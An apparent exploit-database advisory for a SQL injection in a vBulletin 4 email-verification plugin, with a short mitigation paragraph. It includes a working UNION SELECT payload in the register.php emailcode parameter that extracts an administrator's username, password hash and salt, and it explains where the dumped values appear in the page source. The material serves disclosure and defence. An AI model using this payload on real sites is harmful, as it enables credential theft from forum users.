vBulletin Verify Email Before Registration Plugin - SQL Injection

vendor:

vBulletin

by:

Dave (FW/FG)

N/A

CVSS

HIGH

SQL Injection

CWE

Product Name: vBulletin

Affected Version From: Any vBulletin 4.*.* version which has the plugin installed.

Affected Version To: Any vBulletin 4.*.* version which has the plugin installed.

Patch Exists: YES

Related CWE:

CPE:

Metasploit:

Other Scripts:

Platforms Tested:

2014

vBulletin Verify Email Before Registration Plugin – SQL Injection

The vulnerability resides in the register_form_complete hook, and some other hooks. The POST/GET data is not sanitized before being used in queries.

Mitigation:

Sanitize and validate user input before using it in queries. Implement parameterized queries or prepared statements to prevent SQL injection attacks.

Source

Exploit-DB raw data:

#Title: vBulletin Verify Email Before Registration Plugin - SQL Injection
#Date: September 19 2014
#Version: Any vBulletin 4.*.* version which has the plugin installed.
#Plugin: http://www.vbulletin.org/forum/showthread.php?t=294164
#Author: Dave (FW/FG)

The vulnerability resides in the register_form_complete hook, and some 
other hooks.
The POST/GET data is not sanitized before being used in queries.

SQL injection at:
http://example.com/register.php?so=1&emailcode=[sqli]

PoC:
http://example.com/register.php?so=1&emailcode=1' UNION SELECT null, 
concat(username,0x3a,password,0x3a,salt), null, null, null, null FROM 
user WHERE userid = '1

Now look at the source of the page and find:
<input type="text" style="display: none" name="email" id="email" 
maxlength="50" value="[DATA IS HERE]" dir="ltr" tabindex="1">
<input type="text" style="display: none" name="emailconfirm" id="email" 
maxlength="50" value="[DATA IS HERE]" dir="ltr" tabindex="1">

Vulnerable hooks:
profile_updatepassword_complete (Email field when you want to change 
your email address after being logged in.)
register_addmember_complete (After submitting the final registration form.)
register_addmember_process
register_form_complete (This example)
register_start (Email confirmation form at register.php)